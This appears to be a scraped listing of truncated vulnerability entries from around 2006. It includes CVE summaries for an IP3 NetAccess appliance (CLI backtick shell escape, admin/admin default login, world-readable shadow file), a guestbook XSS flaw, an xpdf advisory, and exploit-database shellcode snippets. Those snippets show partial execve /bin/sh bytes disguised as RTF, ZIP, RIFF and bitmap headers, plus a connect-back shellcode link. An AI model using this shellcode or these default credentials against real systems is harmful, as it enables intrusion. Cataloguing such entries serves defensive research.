Command injection

na-img-4.0.34.bin for the IP3 Networks NetAccess NA75 allows local users to gain Unix shell access via "" backtick characters in the appliance's command line interface CLI...

CVE-2006-2043

na-img-4.0.34.bin for the IP3 Networks NetAccess NA75 allows local users to gain Unix shell access via "" backtick characters in the appliance's command line interface CLI...

CVE-2006-2044

The CVE-2006-2044 entry concerns na-img-4.0.34.bin used by the IP3 Networks NetAccess NA75, which ships with a default username and password of admin/admin. The vulnerability is network‑accessible (AV:N, attack vector NETWORK) with no authentication required (Au:N) and yields partial impact to co...

CVE-2006-2043

CVE-2006-2043 affects IP3 Networks NetAccess NA75 with the na-img-4.0.34.bin image; backtick characters in the appliance CLI enable local users to gain Unix shell access, indicating a command-injection-style vulnerability in the CLI parsing. No remediation details are provided in the supplied doc...

CVE-2006-2045: Undefined Security Weakness

The 1 shadow password file in na-img-4.0.34.bin for the IP3 Networks NetAccess NA75 has world readable permissions, which allows local users to view encrypted passwords; and the 2 NetAccess database file has world readable and writable permissions, which allows local users to view sensitive...

CVE-2006-2003

The CVE-2006-2003 entry concerns a cross-site scripting (XSS) vulnerability in the Community Architect Guestbook, specifically in the cgi-bin/guest component. The issue allows remote attackers to inject arbitrary script/HTML when signing the guestbook, with the malicious content subsequently rend...

CVE-2006-2003: Undefined Security Weakness

Cross-site scripting XSS vulnerability in cgi-bin/guest in Community Architect Guestbook allows remote attackers to inject arbitrary web script or HTML by signing the guestbook, which is displayed by fsguestbook.html. NOTE: the provenance of this information is unknown; the details are obtained...

linux/x86 - xor-encoded Connect Back Shellcode 371 bytes

linux/x86 xor-encoded Connect Back Shellcode 371 bytes. Shellcode exploit for linx86 platform linux/x86 xor-encoded Connect Back Shellcode 371 bytes https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/13366.tar.gz black-RXenc-con-back.tar.gz milw0rm.com 2006-04-1...

linux/x86 - execve/bin/sh + RTF Header 30 bytes

linux/x86 execve/bin/sh + RTF Header 30 bytes. Shellcode exploit for linx86 platform / linux/x86 - execve"/bin/sh", "/bin/sh", NULL + RTF header - 30 bytes root@magicbox: file linux-sh-rtfhdr.bin linux-sh-rtfhdr.bin: Rich Text Format data, version 1, - izik / char shellcode = // // RTF Header 7...

linux/x86 - execve/bin/sh + Bitmap Header 27 bytes

linux/x86 execve/bin/sh + Bitmap Header 27 bytes. Shellcode exploit for linx86 platform / linux/x86 - execve"/bin/sh", "/bin/sh", NULL + Bitmap 24bit Header - 27 bytes root@magicbox: file linux-sh-bm24bhdr.bin linux-sh-bm24bhdr.bin: PC bitmap data - izik / char shellcode = // // Bitmap 24bit Head...

linux/x86 execve(/bin/sh) + ZIP Header 28 bytes

Exploit for linux/x86 platform in category shellcode =============================================== linux/x86 execve/bin/sh + ZIP Header 28 bytes =============================================== / linux/x86 - execve"/bin/sh", "/bin/sh", NULL + ZIP Header - 28 bytes email protected: file...

linux/x86 execve(/bin/sh) + RIFF Header 28 bytes

Exploit for linux/x86 platform in category shellcode ================================================ linux/x86 execve/bin/sh + RIFF Header 28 bytes ================================================ / linux/x86 - execve"/bin/sh", "/bin/sh", NULL + RIFF Header - 28 bytes email protected: file...

linux/x86 execve(/bin/sh) + RTF Header 30 bytes

No description provided by source. / linux/x86 - execve"/bin/sh", "/bin/sh", NULL + RTF header - 30 bytes root@magicbox: file linux-sh-rtfhdr.bin linux-sh-rtfhdr.bin: Rich Text Format data, version 1, - izik [email protected] / char shellcode = // // RTF Header 7 bytes // - Be careful not to trigger...

linux/x86 execve(/bin/sh) + ZIP Header 28 bytes

No description provided by source. / linux/x86 - execve"/bin/sh", "/bin/sh", NULL + ZIP Header - 28 bytes root@magicbox: file linux-sh-ziphdr.bin linux-sh-ziphdr.bin: Zip archive data - izik [email protected] / char shellcode = // // ZIP Header 5 bytes // "\x50" // push %eax "\x4b" // dec %ebx...

linux/x86 execve(/bin/sh) + RIFF Header 28 bytes

No description provided by source. / linux/x86 - execve"/bin/sh", "/bin/sh", NULL + RIFF Header - 28 bytes root@magicbox: file linux-sh-riffhdr.bin linux-sh-riffhdr.bin: RIFF little-endian data - izik [email protected] / char shellcode = // // RIFF Header 5 bytes // "\x52" // push %edx "\x49" // dec...

linux/x86 - execve/bin/sh + ZIP Header 28 bytes

linux/x86 execve/bin/sh + ZIP Header 28 bytes. Shellcode exploit for linx86 platform / linux/x86 - execve"/bin/sh", "/bin/sh", NULL + ZIP Header - 28 bytes root@magicbox: file linux-sh-ziphdr.bin linux-sh-ziphdr.bin: Zip archive data - izik / char shellcode = // // ZIP Header 5 bytes // "\x50" //...

linux/x86 - execve/bin/sh + RIFF Header 28 bytes

linux/x86 execve/bin/sh + RIFF Header 28 bytes. Shellcode exploit for linx86 platform / linux/x86 - execve"/bin/sh", "/bin/sh", NULL + RIFF Header - 28 bytes root@magicbox: file linux-sh-riffhdr.bin linux-sh-riffhdr.bin: RIFF little-endian data - izik / char shellcode = // // RIFF Header 5 bytes ...

freebsd/x86 - execve /bin/sh 23 bytes

freebsd/x86 execve /bin/sh 23 bytes. Shellcode exploit for freebsdx86 platform / FreeBSDx86-execvesh-23b-iZ.c Shellcode, execve /bin/sh, 23 bytes by IZ / char setreuidcode = "\x31\xc0" / xor %eax,%eax / "\x50" / push %eax / "\x68\x2f\x2f\x73\x68" / push $0x68732f2f //sh / "\x68\x2f\x62\x69\x6e" /...

freebsd/x86 execve /bin/sh 23 bytes

Exploit for freebsd/x86 platform in category shellcode =================================== freebsd/x86 execve /bin/sh 23 bytes =================================== / FreeBSDx86-execvesh-23b-iZ.c Shellcode, execve /bin/sh, 23 bytes by IZ / char setreuidcode = "\x31\xc0" / xor %eax,%eax / "\x50" /...

USN-270-1: xpdf vulnerabilities

Derek Noonburg discovered several integer overflows in the XPDF code, which is present in xpdf, the Poppler library, and tetex-bin. By tricking an user into opening a specially crafted PDF file, an attacker could exploit this to execute arbitrary code with the privileges of the application that...